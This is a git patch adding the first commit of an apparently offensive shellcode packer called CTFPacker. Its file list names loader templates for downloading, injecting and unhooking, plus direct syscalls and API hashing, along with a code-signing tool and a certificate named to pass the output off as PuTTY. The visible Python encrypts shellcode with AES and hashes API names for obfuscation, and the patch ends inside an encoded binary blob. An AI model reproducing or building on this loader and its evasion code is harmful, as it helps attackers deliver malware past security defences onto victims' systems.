From f192465b5ccf95e7117b794c80c9a2ee99846e0d Mon Sep 17 00:00:00 2001 From: Bolgorov <115954804+B0lg0r0v@users.noreply.github.com> Date: Tue, 18 Mar 2025 04:18:40 +0100 Subject: [PATCH] First Commit --- .gitignore | 3 + core/encryption.py | 45 ++ core/hashing.py | 12 + core/utils.py | 77 ++ custom_certs/osslsigncode.exe | Bin 0 -> 310996 bytes custom_certs/sign_putty.pfx | Bin 0 -> 4451 bytes main.py | 370 ++++++++++ requirements.txt | 2 + templates/staged/AES_128_CBC.h | 965 ++++++++++++++++++++++++++ templates/staged/Makefile | 65 ++ templates/staged/api_hashing.c | 103 +++ templates/staged/download.c | 140 ++++ templates/staged/functions.h | 19 + templates/staged/inject.c | 100 +++ templates/staged/main.c | 104 +++ templates/staged/structs.h | 282 ++++++++ templates/staged/unhook.c | 131 ++++ templates/staged/whispers-asm.x64.asm | 123 ++++ templates/staged/whispers.c | 278 ++++++++ templates/staged/whispers.h | 100 +++ 20 files changed, 2919 insertions(+) create mode 100644 core/encryption.py create mode 100644 core/hashing.py create mode 100644 core/utils.py create mode 100644 custom_certs/osslsigncode.exe create mode 100644 custom_certs/sign_putty.pfx create mode 100644 main.py create mode 100644 requirements.txt create mode 100644 templates/staged/AES_128_CBC.h create mode 100644 templates/staged/Makefile create mode 100644 templates/staged/api_hashing.c create mode 100644 templates/staged/download.c create mode 100644 templates/staged/functions.h create mode 100644 templates/staged/inject.c create mode 100644 templates/staged/main.c create mode 100644 templates/staged/structs.h create mode 100644 templates/staged/unhook.c create mode 100644 templates/staged/whispers-asm.x64.asm create mode 100644 templates/staged/whispers.c create mode 100644 templates/staged/whispers.h diff --git a/.gitignore b/.gitignore index 0a19790..140d097 100644 --- a/.gitignore +++ b/.gitignore @@ -172,3 +172,6 @@ cython_debug/ # PyPI configuration file .pypirc + +ctfloader.exe +ctfloader_signed.exe diff --git a/core/encryption.py b/core/encryption.py new file mode 100644 index 0000000..a9a137c --- /dev/null +++ b/core/encryption.py @@ -0,0 +1,45 @@ +import os + +from core.utils import Colors +from Crypto.Cipher import AES +from Crypto.Util.Padding import pad + +class Encryption: + + # Generate a random KEY and IV + def GenerateKey(key_size: int) -> tuple: + # Generate a 16-byte or 32-byte key for AES-128 or AES-256 + key = os.urandom(key_size) + #print(key) + # Generate a 16-byte IV (128 bits, which is the block size for AES) + iv = os.urandom(AES.block_size) + #print(iv) + + return key, iv + + # AES-128 CBC encryption + def EncryptAES(shellcode: bytes) -> bytes: + #print(Colors.light_blue("[INF] Encryption Technique:\tAES-128-CBC")) + + # Generate random key and IV + key, iv = Encryption.GenerateKey(16) + + # Formatting + hex_key = ''.join([f"0x{key.hex()[i:i+2]}, " for i in range(0, len(key.hex()), 2)]).strip(", ") + hex_iv = ''.join([f"0x{iv.hex()[i:i+2]}, " for i in range(0, len(iv.hex()), 2)]).strip(", ") + + # Print the key and IV + #print(Colors.light_blue(f"[INF] Key (hex):\t\t{hex_key}")) + #print(Colors.light_blue(f"[INF] IV (hex):\t\t\t{hex_iv}\n")) + + # Create AES cipher in CBC mode + cipher = AES.new(key, AES.MODE_CBC, iv) + + # Pad the shellcode to be a multiple of 16 bytes (AES block size) + padded_shellcode = pad(shellcode, AES.block_size) + + # Encrypt the padded shellcode + enc_shellcode = cipher.encrypt(padded_shellcode) + + # Return the encrypted shellcode + return enc_shellcode, hex_key, hex_iv \ No newline at end of file diff --git a/core/hashing.py b/core/hashing.py new file mode 100644 index 0000000..90bcc51 --- /dev/null +++ b/core/hashing.py @@ -0,0 +1,12 @@ + +class Hasher: + + def Hasher(input_string: str, INITIAL_SEED: int, INITIAL_HASH: int) -> int: + + hash_value = INITIAL_HASH & 0xFFFFFFFF + + for c in input_string.encode('ascii'): + hash_value = ((hash_value << INITIAL_SEED) & 0xFFFFFFFF) + hash_value + hash_value = (hash_value + c) & 0xFFFFFFFF + + return f"0x{hash_value:08X}" \ No newline at end of file diff --git a/core/utils.py b/core/utils.py new file mode 100644 index 0000000..38e3857 --- /dev/null +++ b/core/utils.py @@ -0,0 +1,77 @@ +import colorama +from colorama import Fore, Style + +colorama.init(autoreset=True) + +class Colors: + @staticmethod + def red(str): + return Fore.RED + str + Style.RESET_ALL + + @staticmethod + def green(str): + return Fore.GREEN + str + Style.RESET_ALL + + @staticmethod + def yellow(str): + return Fore.YELLOW + str + Style.RESET_ALL + + @staticmethod + def blue(str): + return Fore.BLUE + str + Style.RESET_ALL + + @staticmethod + def magenta(str): + return Fore.MAGENTA + str + Style.RESET_ALL + + @staticmethod + def cyan(str): + return Fore.CYAN + str + Style.RESET_ALL + + @staticmethod + def white(str): + return Fore.WHITE + str + Style.RESET_ALL + + @staticmethod + def black(str): + return Fore.BLACK + str + Style.RESET_ALL + + @staticmethod + def light_red(str): + return Fore.LIGHTRED_EX + str + Style.RESET_ALL + + @staticmethod + def light_green(str): + return Fore.LIGHTGREEN_EX + str + Style.RESET_ALL + + @staticmethod + def light_yellow(str): + return Fore.LIGHTYELLOW_EX + str + Style.RESET_ALL + + @staticmethod + def light_blue(str): + return Fore.LIGHTBLUE_EX + str + Style.RESET_ALL + + @staticmethod + def light_magenta(str): + return Fore.LIGHTMAGENTA_EX + str + Style.RESET_ALL + + +def banner(): + print(Colors.light_red(""" + + + ▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ +▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒ +▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒ +▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ +▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒ +░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ + ░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ +░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ +░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ +░ ░ + + + """)+ + ("\n\tAuthor: B0lg0r0v") +("\n\thttps://arthurminasyan.com\n")) \ No newline at end of file diff --git a/custom_certs/osslsigncode.exe b/custom_certs/osslsigncode.exe new file mode 100644 index 0000000000000000000000000000000000000000..7f089a652b097fe468807b4bf67a259e61d0a54a GIT binary patch literal 310996 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 